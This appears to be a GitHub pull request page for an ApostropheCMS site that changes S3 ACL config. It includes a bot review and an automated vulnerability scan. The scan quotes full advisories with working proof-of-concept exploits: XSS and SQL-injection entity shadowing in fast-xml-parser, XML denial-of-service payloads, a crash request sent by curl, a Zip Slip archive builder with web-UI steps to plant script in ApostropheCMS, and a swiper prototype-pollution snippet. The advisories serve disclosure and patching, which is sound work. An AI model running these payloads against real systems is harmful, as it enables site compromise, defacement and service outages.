Add ACL private

[a-nomad]

Change S3 uploadfs config to set object-level ACLs from APOS_S3_ACL when defined. Instead of a top-level acl, the code reads APOS_S3_ACL into aposS3BucketObjectsAcl and, if truthy, assigns it to uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL. No default is applied; fields are omitted when the env var is unset. This ensures object ACLs are only configured when explicitly specified.

[coderabbitai]

Walkthrough

The change removes a top-level acl assignment from uploadfsOptions. If process.env.APOS_S3_ACL is truthy, the code sets uploadfsOptions.bucketObjectsACL and uploadfsOptions.disabledBucketObjectsACL to that environment value; if unset/falsey, neither object-level ACL field is added.

Possibly related PRs

• speedandfunction/website PR 264: Also modifies S3 ACL handling in website/modules/@apostrophecms/uploadfs/index.js, changing how APOS_S3_ACL is applied (previously added a top-level acl: null).

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 inconclusive)

Check name	Status	Explanation	Resolution
Title check	❓ Inconclusive	The title 'Add ACL private' is vague and does not clearly convey what the actual change is about. The PR modifies S3 uploadfs ACL configuration behavior, but the title provides no descriptive context about this change.	Revise the title to be more descriptive, such as 'Update S3 uploadfs ACL configuration to use object-level settings' or 'Refactor S3 ACL configuration from top-level to object-level settings'.

✅ Passed checks (2 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Docstring Coverage	✅ Passed	No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[github-actions]

🔍 Vulnerabilities of apostrophe-cms:test

📦 Image Reference apostrophe-cms:test

digest	sha256:f3d58d04d8081ac0ea1aa88f4915c186a4081c95cb1ef74f41d33b37bd7bb01d
vulnerabilities
platform	linux/amd64
size	173 MB
packages	972

📦 Base Image node:24-alpine

also known as	24-alpine3.23 24.14-alpine 24.14-alpine3.23 24.14.1-alpine 24.14.1-alpine3.23 krypton-alpine krypton-alpine3.23 lts-alpine lts-alpine3.23
digest	sha256:5bc53106902596d90fb497746b74ea40e0625c1c8327681d6bff3ee6ad42a22b
vulnerabilities

fast-xml-parser 5.2.0 (npm) pkg:npm/fast-xml-parser@5.2.0 Incorrect Regular Expression Affected range >=5.0.0 <5.3.5 Fixed version 5.3.5 CVSS Score 9.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N EPSS Score 0.014% EPSS Percentile 3rd percentile Description Entity encoding bypass via regex injection in DOCTYPE entity names Summary A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (&lt;, &gt;, &amp;, &quot;, &apos;) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. Details The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec. In DocTypeReader.js, entity names are passed directly to RegExp(): entities[entityName] = { regx: RegExp(`&${entityName};`, "g"), val: val }; An entity named l. produces the regex /&l.;/g where . matches any character, including the t in &lt;. Since DOCTYPE entities are replaced before built-in entities, this shadows &lt; entirely. The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included: // v6 EntitiesParser.js line 96 const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot Shadowing all 5 built-in entities Entity name Regex created Shadows l. /&l.;/g &lt; g. /&g.;/g &gt; am. /&am.;/g &amp; quo. /&quo.;/g &quot; apo. /&apo.;/g &apos; PoC const { XMLParser } = require("fast-xml-parser"); const xml = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY l. "<img src=x onerror=alert(1)>"> ]> <root> <text>Hello &lt;b&gt;World&lt;/b&gt;</text> </root>`; const result = new XMLParser().parse(xml); console.log(result.root.text); // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b> No special parser options needed - processEntities: true is the default. When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires. &amp; can be shadowed too: const xml2 = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY am. "'; DROP TABLE users;--"> ]> <root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`; const r = new XMLParser().parse(xml2); console.log(r.root); // SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien' Impact This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected. Default config, no special options Attacker can replace any &lt; / &gt; / &amp; / &quot; / &apos; with arbitrary strings Direct XSS vector when parsed XML content is rendered in a page v5 and v6 both affected Suggested fix Escape regex metacharacters before constructing the replacement regex: const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); entities[entityName] = { regx: RegExp(`&${escaped};`, "g"), val: val }; For v6, add . to the blacklist in validateEntityName: const specialChar = "!?\\/[].{}^&*()<>|+"; Severity CWE-185 (Incorrect Regular Expression) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL) Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions. Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range >=5.0.0 <5.5.6 Fixed version 5.5.6 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.052% EPSS Percentile 16th percentile Description Summary The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (&lt;, &gt;, etc.) are processed through a separate code path that does NOT enforce any expansion limits. An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption. Affected Versions fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm) Root Cause In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops: Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix. Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all. The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix. Proof of Concept const { XMLParser } = require('fast-xml-parser'); // Even with strict explicit limits, numeric entities bypass them const parser = new XMLParser({ processEntities: { enabled: true, maxTotalExpansions: 10, maxExpandedLength: 100, maxEntityCount: 1, maxEntitySize: 10 } }); // 100K numeric entity references — should be blocked by maxTotalExpansions=10 const xml = `<root>${'&#65;'.repeat(100000)}</root>`; const result = parser.parse(xml); // Output: 500,000 chars — bypasses maxExpandedLength=100 completely console.log('Output length:', result.root.length); // 500000 console.log('Expected max:', 100); // limit was 100 Results: 100K &#65; references → 500,000 char output (5x default maxExpandedLength of 100,000) 1M references → 5,000,000 char output, ~147MB memory consumed Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars Hex entities (&#x41;) exhibit the same bypass Impact Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause: Excessive memory allocation (147MB+ for 1M entity references) CPU consumption during regex replacement Potential process crash via OOM This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them. Suggested Fix Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670. Workaround Set htmlEntities:false Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range >=5.0.0 <5.3.6 Fixed version 5.3.6 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.022% EPSS Percentile 6th percentile Description Summary The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application. Details There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads. However, it doesn’t stop a much simpler variant. If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed. The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes. Relevant code: DocTypeReader.js (lines 28–33): entity registration only checks for & OrderedObjParser.js (lines 439–458): entity replacement loop with no limits PoC const { XMLParser } = require('fast-xml-parser'); const entity = 'A'.repeat(1000); const refs = '&big;'.repeat(100); const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`; console.time('parse'); new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML console.timeEnd('parse'); // 5,000 chars × 100 refs takes 200+ seconds // 50,000 chars × 1,000 refs will hang indefinitely Impact This is a straightforward denial-of-service issue. Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests. In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out. Workaround Avoid using DOCTYPE parsing by processEntities: false option. Improper Input Validation Affected range >=5.0.9 <=5.3.3 Fixed version 5.3.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.074% EPSS Percentile 22nd percentile Description Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input. Details The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45: "num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) }, The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: [0-9]{1,7} matches up to 9,999,999 [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215) The entity replacement in replaceEntitiesValue() (line 452) has no try-catch: val = val.replace(entity.regex, entity.val); This causes the RangeError to propagate uncaught, crashing the parser and any application using it. PoC Setup Create a directory with these files: poc/ ├── package.json ├── server.js package.json { "dependencies": { "fast-xml-parser": "^5.3.3" } } server.js const http = require('http'); const { XMLParser } = require('fast-xml-parser'); const parser = new XMLParser({ processEntities: true, htmlEntities: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/parse') { let body = ''; req.on('data', c => body += c); req.on('end', () => { const result = parser.parse(body); // No try-catch - will crash! res.end(JSON.stringify(result)); }); } else { res.end('POST /parse with XML body'); } }).listen(3000, () => console.log('http://localhost:3000')); Run # Setup npm install # Terminal 1: Start server node server.js # Terminal 2: Send malicious payload (server will crash) curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse Result Server crashes with: RangeError: Invalid code point 9999999 Alternative Payloads <!-- Hex variant --> <?xml version="1.0"?><root>&#xFFFFFF;</root> <!-- In attribute --> <?xml version="1.0"?><root attr="&#9999999;"/> Impact Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects: API servers accepting XML payloads File processors parsing uploaded XML files Message queues consuming XML messages RSS/Atom feed parsers SOAP/XML-RPC services A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

fast-xml-parser 4.5.3 (npm) pkg:npm/fast-xml-parser@4.5.3 Incorrect Regular Expression Affected range >=4.1.3 <4.5.4 Fixed version 5.3.5 CVSS Score 9.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N EPSS Score 0.014% EPSS Percentile 3rd percentile Description Entity encoding bypass via regex injection in DOCTYPE entity names Summary A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (&lt;, &gt;, &amp;, &quot;, &apos;) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. Details The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec. In DocTypeReader.js, entity names are passed directly to RegExp(): entities[entityName] = { regx: RegExp(`&${entityName};`, "g"), val: val }; An entity named l. produces the regex /&l.;/g where . matches any character, including the t in &lt;. Since DOCTYPE entities are replaced before built-in entities, this shadows &lt; entirely. The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included: // v6 EntitiesParser.js line 96 const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot Shadowing all 5 built-in entities Entity name Regex created Shadows l. /&l.;/g &lt; g. /&g.;/g &gt; am. /&am.;/g &amp; quo. /&quo.;/g &quot; apo. /&apo.;/g &apos; PoC const { XMLParser } = require("fast-xml-parser"); const xml = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY l. "<img src=x onerror=alert(1)>"> ]> <root> <text>Hello &lt;b&gt;World&lt;/b&gt;</text> </root>`; const result = new XMLParser().parse(xml); console.log(result.root.text); // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b> No special parser options needed - processEntities: true is the default. When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires. &amp; can be shadowed too: const xml2 = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY am. "'; DROP TABLE users;--"> ]> <root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`; const r = new XMLParser().parse(xml2); console.log(r.root); // SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien' Impact This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected. Default config, no special options Attacker can replace any &lt; / &gt; / &amp; / &quot; / &apos; with arbitrary strings Direct XSS vector when parsed XML content is rendered in a page v5 and v6 both affected Suggested fix Escape regex metacharacters before constructing the replacement regex: const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); entities[entityName] = { regx: RegExp(`&${escaped};`, "g"), val: val }; For v6, add . to the blacklist in validateEntityName: const specialChar = "!?\\/[].{}^&*()<>|+"; Severity CWE-185 (Incorrect Regular Expression) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL) Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions. Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range >=4.0.0-beta.3 <4.5.5 Fixed version 5.5.6 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.052% EPSS Percentile 16th percentile Description Summary The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (&lt;, &gt;, etc.) are processed through a separate code path that does NOT enforce any expansion limits. An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption. Affected Versions fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm) Root Cause In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops: Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix. Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all. The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix. Proof of Concept const { XMLParser } = require('fast-xml-parser'); // Even with strict explicit limits, numeric entities bypass them const parser = new XMLParser({ processEntities: { enabled: true, maxTotalExpansions: 10, maxExpandedLength: 100, maxEntityCount: 1, maxEntitySize: 10 } }); // 100K numeric entity references — should be blocked by maxTotalExpansions=10 const xml = `<root>${'&#65;'.repeat(100000)}</root>`; const result = parser.parse(xml); // Output: 500,000 chars — bypasses maxExpandedLength=100 completely console.log('Output length:', result.root.length); // 500000 console.log('Expected max:', 100); // limit was 100 Results: 100K &#65; references → 500,000 char output (5x default maxExpandedLength of 100,000) 1M references → 5,000,000 char output, ~147MB memory consumed Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars Hex entities (&#x41;) exhibit the same bypass Impact Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause: Excessive memory allocation (147MB+ for 1M entity references) CPU consumption during regex replacement Potential process crash via OOM This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them. Suggested Fix Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670. Workaround Set htmlEntities:false Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range >=4.1.3 <4.5.4 Fixed version 5.3.6 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.022% EPSS Percentile 6th percentile Description Summary The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application. Details There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads. However, it doesn’t stop a much simpler variant. If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed. The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes. Relevant code: DocTypeReader.js (lines 28–33): entity registration only checks for & OrderedObjParser.js (lines 439–458): entity replacement loop with no limits PoC const { XMLParser } = require('fast-xml-parser'); const entity = 'A'.repeat(1000); const refs = '&big;'.repeat(100); const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`; console.time('parse'); new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML console.timeEnd('parse'); // 5,000 chars × 100 refs takes 200+ seconds // 50,000 chars × 1,000 refs will hang indefinitely Impact This is a straightforward denial-of-service issue. Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests. In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out. Workaround Avoid using DOCTYPE parsing by processEntities: false option.

@apostrophecms/import-export 3.2.0 (npm) pkg:npm/%40apostrophecms/import-export@3.2.0 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=3.5.2 Fixed version 3.5.3 CVSS Score 9.9 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H EPSS Score 0.074% EPSS Percentile 22nd percentile Description Reported: 2026-03-08 Status: patched and released in version 3.5.3 of @apostrophecms/import-export Product Field Value Repository apostrophecms/apostrophe (monorepo) Affected Package @apostrophecms/import-export Affected File packages/import-export/lib/formats/gzip.js Affected Function extract(filepath, exportPath) — lines ~132–157 Minimum Required Permission Global Content Modify (any editor-level user with import access) Vulnerability Summary The extract() function in gzip.js constructs file-write paths using: fs.createWriteStream(path.join(exportPath, header.name)) path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened. This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem. Security Impact This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is: 1. Arbitrary File Write Write any file to any path the Node.js process user can access. Confirmed writable targets in testing: Any path the CMS process has permission to 2. Static Web Directory — Defacement & Malicious Asset Injection ApostropheCMS serves <project-root>/public/ via Express static middleware: // packages/apostrophe/modules/@apostrophecms/asset/index.js express.static(self.apos.rootDir + '/public', self.options.static || {}) A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible: This enables: Full site defacement Serving phishing pages from the legitimate CMS domain Injecting malicious JavaScript served to all site visitors (stored XSS at scale) 3. Persistent Backdoor / RCE (Post-Restart) If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one. 4. Credential and Secret File Overwrite Overwrite .env, app.config.js, database seed files, or any config file to: Exfiltrate database credentials on next load Redirect authentication to an attacker-controlled backend Disable security controls (rate limiting, MFA, CSRF) 5. Denial of Service Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable. Required Permission Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed. Proof of Concept Two PoC artifacts are provided: File Purpose tmp-import-export-zip-slip-poc.js Automated Node.js harness — verifies the write happens without a browser make-slip-tar.py Attacker tool — generates a real .tar.gz for upload via the CMS web UI PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js) const fs = require('node:fs'); const fsp = require('node:fs/promises'); const path = require('node:path'); const os = require('node:os'); const zlib = require('node:zlib'); const tar = require('tar-stream'); const gzipFormat = require('./packages/import-export/lib/formats/gzip.js'); async function makeArchive(archivePath) { const pack = tar.pack(); const gzip = zlib.createGzip(); const out = fs.createWriteStream(archivePath); const done = new Promise((resolve, reject) => { out.on('finish', resolve); out.on('error', reject); gzip.on('error', reject); pack.on('error', reject); }); pack.pipe(gzip).pipe(out); pack.entry({ name: 'aposDocs.json' }, '[]'); pack.entry({ name: 'aposAttachments.json' }, '[]'); // Traversal payload pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR'); pack.finalize(); await done; } (async () => { const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-')); const archivePath = path.join(base, 'evil-export.gz'); const exportPath = archivePath.replace(/\.gz$/, ''); await makeArchive(archivePath); const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt'); // Ensure clean pre-state try { await fsp.unlink(expectedOutsideWrite); } catch (_) {} await gzipFormat.input(archivePath); const exists = fs.existsSync(expectedOutsideWrite); const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : ''; console.log('EXPORT_PATH:', exportPath); console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite); console.log('ZIP_SLIP_WRITE_HAPPENED:', exists); console.log('WRITTEN_CONTENT:', content.trim()); })(); Run: node .\tmp-import-export-zip-slip-poc.js Observed output (confirmed): EXPORT_PATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt ZIP_SLIP_WRITE_HAPPENED: true WRITTEN_CONTENT: PWNED_FROM_TAR The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal. PoC 2 — Web UI Exploitation (make-slip-tar.py) Script (make-slip-tar.py): import tarfile, io, sys if len(sys.argv) != 3: print("Usage: python make-slip-tar.py <payload_file> <target_path>") sys.exit(1) payload_file = sys.argv[1] target_path = sys.argv[2] out = "evil-slip.tar.gz" with open(payload_file, "rb") as f: payload = f.read() with tarfile.open(out, "w:gz") as t: docs = io.BytesIO(b"[]") info = tarfile.TarInfo("aposDocs.json") info.size = len(docs.getvalue()) t.addfile(info, docs) atts = io.BytesIO(b"[]") info = tarfile.TarInfo("aposAttachments.json") info.size = len(atts.getvalue()) t.addfile(info, atts) info = tarfile.TarInfo(target_path) info.size = len(payload) t.addfile(info, io.BytesIO(payload)) print("created", out) Steps to Reproduce (Web UI — Real Exploitation) Step 1 — Create the payload file Create a file with the content you want to write to the server. For a static web directory write: echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html Step 2 — Generate the malicious archive Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed: python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html" This creates evil-slip.tar.gz containing: aposDocs.json — empty, required by the importer aposAttachments.json — empty, required by the importer ../../../../<project-root>/public/injected.html — the traversal payload Step 3 — Upload via CMS Import UI Log in to the CMS with any account that has Global Content Modify permission. Navigate to Open Global Settings → More Options → Import. Select evil-slip.tar.gz and click Import. The CMS accepts the file and begins extraction — no error is shown. Step 4 — Confirm the write curl http://localhost:3000/injected.html Expected response: <!-- injected by attacker --><script>alert('XSS')</script> The file is now being served from the CMS's own domain to all visitors. Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing

form-data 4.0.2 (npm) pkg:npm/form-data@4.0.2 Use of Insufficiently Random Values Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.076% EPSS Percentile 23rd percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

swiper 11.2.6 (npm) pkg:npm/swiper@11.2.6 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') Affected range >=6.5.1 <12.1.2 Fixed version 12.1.2 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H EPSS Score 0.067% EPSS Percentile 21st percentile Description Summary A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2 Details The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings. PoC Steps to reproduce Install latest version of swiper using npm install Run the following code snippet: var swiper = require('swiper'); Array.prototype.indexOf = () => -1; let obj = {}; var malicious_payload = '{"__proto__":{"polluted":"yes"}}'; console.log({}.polluted); swiper.default.extendDefaults(JSON.parse(malicious_payload)); console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and prototype pollution occurred Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: undefined undefined OR throw an 